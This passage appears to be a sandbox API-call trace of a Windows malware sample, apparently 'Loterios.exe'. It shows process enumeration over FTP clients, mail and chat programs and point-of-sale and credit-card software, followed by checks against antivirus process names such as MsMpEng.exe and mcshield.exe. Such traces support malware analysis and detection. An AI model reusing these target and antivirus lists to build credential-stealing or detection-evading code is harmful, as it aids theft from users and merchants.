hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0232.423] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0232.448] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0232.487] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0232.546] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0232.596] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0232.643] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0232.685] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0232.705] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0232.731] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0232.753] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0232.769] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0232.807] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0232.838] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0232.876] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0232.895] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0232.915] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0232.941] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0232.971] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0232.986] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0233.003] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0233.028] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0233.083] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0233.096] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0233.118] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0233.144] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0233.162] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0233.183] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0233.207] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0233.230] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0233.254] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0233.273] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0233.300] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0233.369] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0233.398] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0233.424] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0233.443] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0233.457] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0233.483] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0233.507] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0233.547] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0233.568] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0233.580] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0233.597] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0233.621] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0233.649] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0233.675] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0233.689] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0233.712] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0233.834] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0233.870] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0233.919] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0233.950] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0233.973] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0233.986] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0234.002] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0234.016] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0234.039] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0234.054] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0234.086] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0234.119] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0234.141] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0234.164] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0234.179] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0234.209] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.226] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.243] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0234.257] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.274] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0234.288] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0234.313] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.352] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0234.367] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0234.383] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0234.470] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0234.492] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0234.508] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1328, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 1 [0234.523] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1328, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 0 [0234.524] CloseHandle (hObject=0x2a8) returned 1 [0234.524] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff728 | out: hHeap=0x2180000) returned 1 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff718 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="avgcsrvx.exe") returned 12 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff770 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="avgsvcx.exe") returned 11 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff788 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="avgcsrva.exe") returned 12 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7a0 | out: hHeap=0x2180000) returned 1 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff700 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="MsMpEng.exe") returned 11 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7b8 | out: hHeap=0x2180000) returned 1 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff758 | out: hHeap=0x2180000) returned 1 [0234.524] lstrlenA (lpString="mcshield.exe") returned 12 [0234.524] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff7e0 | out: hHeap=0x2180000) returned 1 